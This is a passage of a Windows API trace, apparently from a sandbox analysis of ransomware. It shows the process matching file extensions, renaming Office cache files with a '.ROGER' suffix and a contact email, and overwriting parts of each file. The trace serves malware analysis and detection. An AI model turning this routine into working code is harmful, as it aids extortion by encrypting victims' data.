Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.522] lstrlenW (lpString=".zip") returned 4 [0040.522] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString=".rar") returned 4 [0040.522] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString=".bz2") returned 4 [0040.522] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.522] lstrlenW (lpString=".7z") returned 3 [0040.522] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.522] lstrlenW (lpString=".dbf") returned 4 [0040.522] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.522] lstrlenW (lpString=".1cd") returned 4 [0040.522] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.522] lstrlenW (lpString=".jpg") returned 4 [0040.522] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.522] lstrlenW (lpString=".doc") returned 4 [0040.523] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.523] lstrlenW (lpString=".docx") returned 5 [0040.523] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.523] lstrlenW (lpString=".pdf") returned 4 [0040.523] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.523] lstrlenW (lpString=".xls") returned 4 [0040.523] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.523] lstrlenW (lpString=".xlsx") returned 5 [0040.523] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.523] lstrlenW (lpString=".ppt") returned 4 [0040.523] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.523] lstrlenW (lpString=".zip") returned 4 [0040.523] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.523] lstrlenW (lpString=".rar") returned 4 [0040.523] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.523] lstrlenW (lpString=".bz2") returned 4 [0040.523] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.523] lstrlenW (lpString=".7z") returned 3 [0040.523] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.523] lstrlenW (lpString=".dbf") returned 4 [0040.523] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.523] lstrlenW (lpString=".1cd") returned 4 [0040.523] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.523] lstrlenW (lpString=".jpg") returned 4 [0040.523] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.524] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0040.524] lstrlenW (lpString="WordLR.cab") returned 10 [0040.524] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0040.524] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=43806141) returned 1 [0040.524] CloseHandle (hObject=0x368) returned 1 [0040.524] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0040.524] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.524] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0040.525] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0040.525] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0040.525] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0040.525] ReadFile (in: hFile=0x368, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.632] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0040.632] ReadFile (in: hFile=0x368, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.636] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.636] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0040.636] ReadFile (in: hFile=0x368, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.651] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.651] WriteFile (in: hFile=0x368, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0040.665] SetEndOfFile (hFile=0x368) returned 1 [0040.666] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e60098 [0040.666] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0040.666] WriteFile (in: hFile=0x368, lpBuffer=0x4e60098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e60098*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.666] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0040.667] WriteFile (in: hFile=0x368, lpBuffer=0x4e60098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e60098*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.669] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0040.669] WriteFile (in: hFile=0x368, lpBuffer=0x4e60098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e60098*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.671] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0040.671] CloseHandle (hObject=0x368) returned 1 [0042.624] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0042.624] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.624] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.624] lstrlenW (lpString=".doc") returned 4 [0042.624] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.624] lstrlenW (lpString=".docx") returned 5 [0042.624] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.624] lstrlenW (lpString=".pdf") returned 4 [0042.624] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.624] lstrlenW (lpString=".xls") returned 4 [0042.624] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.624] lstrlenW (lpString=".xlsx") returned 5 [0042.624] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.624] lstrlenW (lpString=".ppt") returned 4 [0042.624] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.624] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.624] lstrlenW (lpString=".zip") returned 4 [0042.624] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.624] lstrlenW (lpString=".rar") returned 4 [0042.625] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.625] lstrlenW (lpString=".bz2") returned 4 [0042.625] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.625] lstrlenW (lpString=".7z") returned 3 [0042.625] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.625] lstrlenW (lpString=".dbf") returned 4 [0042.625] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.625] lstrlenW (lpString=".1cd") returned 4 [0042.625] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.625] lstrlenW (lpString=".jpg") returned 4 [0042.625] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.625] lstrlenW (lpString=".doc") returned 4 [0042.625] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.625] lstrlenW (lpString=".docx") returned 5 [0042.625] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.625] lstrlenW (lpString=".pdf") returned 4 [0042.625] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.625] lstrlenW (lpString=".xls") returned 4 [0042.625] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.625] lstrlenW (lpString=".xlsx") returned 5 [0042.625] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.625] lstrlenW (lpString=".ppt") returned 4 [0042.625] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.625] lstrlenW (lpString=".zip") returned 4 [0042.625] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.625] lstrlenW (lpString=".rar") returned 4 [0042.626] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.626] lstrlenW (lpString=".bz2") returned 4 [0042.626] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.626] lstrlenW (lpString=".7z") returned 3 [0042.626] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.626] lstrlenW (lpString=".dbf") returned 4 [0042.626] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.626] lstrlenW (lpString=".1cd") returned 4 [0042.626] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0042.626] lstrlenW (lpString=".jpg") returned 4 [0042.626] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.626] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0042.626] lstrlenW (lpString="Proof.cab") returned 9 [0042.626] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0042.626] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=21064532) returned 1 [0042.626] CloseHandle (hObject=0x368) returned 1 [0042.626] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0042.627] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.627] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0042.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0042.740] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0042.741] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.741] ReadFile (in: hFile=0x368, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.867] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.867] ReadFile (in: hFile=0x368, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.998] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.998] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.998] ReadFile (in: hFile=0x368, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.016] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.016] WriteFile (in: hFile=0x368, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0043.217] SetEndOfFile (hFile=0x368) returned 1 [0043.338] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0043.355] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.355] WriteFile (in: hFile=0x368, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.392] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.392] WriteFile (in: hFile=0x368, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.393] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.393] WriteFile (in: hFile=0x368, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.394] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0043.396] CloseHandle (hObject=0x368) returned 1 [0044.903] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0044.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.903] lstrlenW (lpString=".doc") returned 4 [0044.903] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.903] lstrlenW (lpString=".docx") returned 5 [0044.903] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0044.903] lstrlenW (lpString=".pdf") returned 4 [0044.903] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.903] lstrlenW (lpString=".xls") returned 4 [0044.903] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.904] lstrlenW (lpString=".xlsx") returned 5 [0044.904] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0044.904] lstrlenW (lpString=".ppt") returned 4 [0044.904] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.904] lstrlenW (lpString=".zip") returned 4 [0044.904] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.904] lstrlenW (lpString=".rar") returned 4 [0044.904] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.904] lstrlenW (lpString=".bz2") returned 4 [0044.904] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.904] lstrlenW (lpString=".7z") returned 3 [0044.904] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.904] lstrlenW (lpString=".dbf") returned 4 [0044.904] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.904] lstrlenW (lpString=".1cd") returned 4 [0044.904] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.904] lstrlenW (lpString=".jpg") returned 4 [0044.904] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.904] lstrlenW (lpString=".doc") returned 4 [0044.904] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.904] lstrlenW (lpString=".docx") returned 5 [0044.904] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0044.904] lstrlenW (lpString=".pdf") returned 4 [0044.904] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.904] lstrlenW (lpString=".xls") returned 4 [0044.905] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.905] lstrlenW (lpString=".xlsx") returned 5 [0044.905] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0044.905] lstrlenW (lpString=".ppt") returned 4 [0044.905] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.905] lstrlenW (lpString=".zip") returned 4 [0044.905] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.905] lstrlenW (lpString=".rar") returned 4 [0044.905] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.905] lstrlenW (lpString=".bz2") returned 4 [0044.905] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.905] lstrlenW (lpString=".7z") returned 3 [0044.905] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.905] lstrlenW (lpString=".dbf") returned 4 [0044.905] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.905] lstrlenW (lpString=".1cd") returned 4 [0044.905] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.905] lstrlenW (lpString=".jpg") returned 4 [0044.905] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.905] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0044.905] lstrlenW (lpString="VisioLR.cab") returned 11 [0044.905] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.906] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=50823389) returned 1 [0044.906] CloseHandle (hObject=0x368) returned 1 [0044.906] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0044.906] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all 